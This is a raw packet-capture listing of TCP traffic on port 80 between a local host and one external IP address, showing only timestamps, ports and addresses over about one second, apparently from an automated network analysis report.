Nov 15, 2024 09:10:24.807234049 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.807269096 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.807281971 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.807307959 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.807379007 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.807826996 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.807883024 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.807919025 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.807955027 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.807962894 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.807997942 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.808007956 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.808043957 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.808092117 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.808100939 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.808137894 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.808172941 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.808217049 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.860338926 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.860399008 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.860404968 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.860436916 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.860491037 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.860503912 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.860524893 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.860560894 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.860585928 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.860610962 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.860646963 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.860660076 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.860701084 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.860737085 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.860754013 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.860788107 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.860822916 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.860831022 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.860852957 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.860884905 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.860939980 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.860944986 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.860975981 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.860991001 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.861010075 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.861057997 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.861061096 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.861093998 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.861131907 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.861166954 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.861176968 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.861212969 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.863811970 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.863848925 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.863887072 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.863915920 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.863940001 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.863976955 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.863987923 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.864028931 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864065886 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864078999 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.864101887 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864156008 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864183903 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.864208937 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864244938 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864262104 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.864280939 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864331961 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864351034 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.864366055 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864402056 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864450932 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.864455938 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864490032 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864500046 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.864523888 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864558935 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864567995 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.864612103 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864662886 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864748001 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864767075 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.864798069 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864830971 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.864835024 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864871979 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864881992 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.864926100 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864959955 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.864996910 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.865011930 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.865048885 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.865097046 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.865103960 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.865139008 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.865140915 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.865175009 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.865206957 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.865245104 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.865252018 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.865278959 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.865302086 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.865317106 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.865350962 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.865367889 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.865386963 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.865421057 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.865456104 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.865484953 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.865485907 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.865504026 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.865519047 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.865555048 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.865602016 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.891304970 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.891379118 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.891412973 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.891433954 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.891479969 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.891482115 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.891535044 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.891571045 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.891621113 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.891623974 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.891666889 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.891678095 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.891711950 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.891746044 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.891762018 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.891781092 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.891817093 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.891845942 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.891870975 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.891906977 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.891935110 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.891936064 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.891976118 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.891988039 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.892025948 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.892060041 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.892107010 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.924340963 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.924366951 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.924385071 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.924386024 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.924403906 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.924422026 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.924438953 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.924447060 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.924483061 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.924485922 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.924506903 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.924540997 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.925162077 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.925179958 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.925199032 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.925216913 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.925220013 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.925231934 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.925242901 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.925250053 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.925260067 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.925273895 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.925273895 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.925283909 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.925303936 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.925322056 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.977546930 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.977586031 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.977639914 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.977674961 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.977696896 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.977727890 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.977746010 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.977758884 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.977792978 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.977802992 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.977828979 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.977880955 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.977910995 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.977915049 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.977965117 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.977967024 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.978002071 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.978032112 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.978066921 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.978082895 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.978101969 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.978106976 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.978161097 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.978195906 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.978220940 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.978229046 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.978280067 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.978313923 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.978327990 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.978348970 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.978353977 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.978384018 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.978419065 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.978452921 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.978466034 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.978513956 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.980983973 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981038094 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981071949 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981127024 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981127977 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.981161118 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981169939 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.981223106 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981266975 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.981276989 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981312990 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981375933 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.981389999 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981425047 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981475115 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981497049 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.981528044 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981561899 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981571913 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.981596947 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981650114 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981699944 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981700897 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.981734991 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981749058 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.981770992 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981803894 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981817007 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.981906891 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981961012 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.981961012 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.981996059 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.982048035 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.982095003 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.982098103 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.982150078 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.982150078 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.982183933 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.982219934 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.982266903 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.982271910 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.982307911 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.982322931 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.982341051 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.982376099 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.982419968 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.982426882 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.982462883 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.982470989 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.982496023 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.982534885 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.982544899 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.982597113 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.982634068 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.982678890 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.982681036 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.982716084 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.982737064 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.009686947 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.009722948 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.009732962 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.009758949 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.009792089 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.009844065 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.009845018 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.009880066 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.009886026 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.009916067 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.009946108 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.009978056 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.009987116 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.010011911 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.010016918 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.010040998 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.010075092 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.010091066 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.010109901 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.010145903 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.010179996 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.010190964 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.010214090 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.010263920 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.010282993 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.010294914 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.010323048 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.010334015 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.010411978 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.041398048 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.041449070 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.041461945 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.041484118 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.041524887 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.041534901 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.041584969 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.041692972 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.041723013 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.041743994 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.041754961 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.041790009 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.041822910 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.041836977 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.041857004 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.041867971 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.042342901 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.042381048 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.042398930 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.042433023 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.042467117 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.042501926 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.042515039 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.042536020 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.042547941 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.042573929 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.042607069 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.042629004 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.042643070 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.042678118 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.042706966 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.042730093 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.042753935 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.095062971 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.095129967 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.095169067 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.095197916 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.095205069 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.095240116 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.095263004 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.095375061 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.095411062 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.095418930 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.095447063 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.095480919 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.095521927 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.095534086 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.095568895 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:25.095577002 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:25.095606089 CET	80	49795	190.107.177.80	192.168.2.10
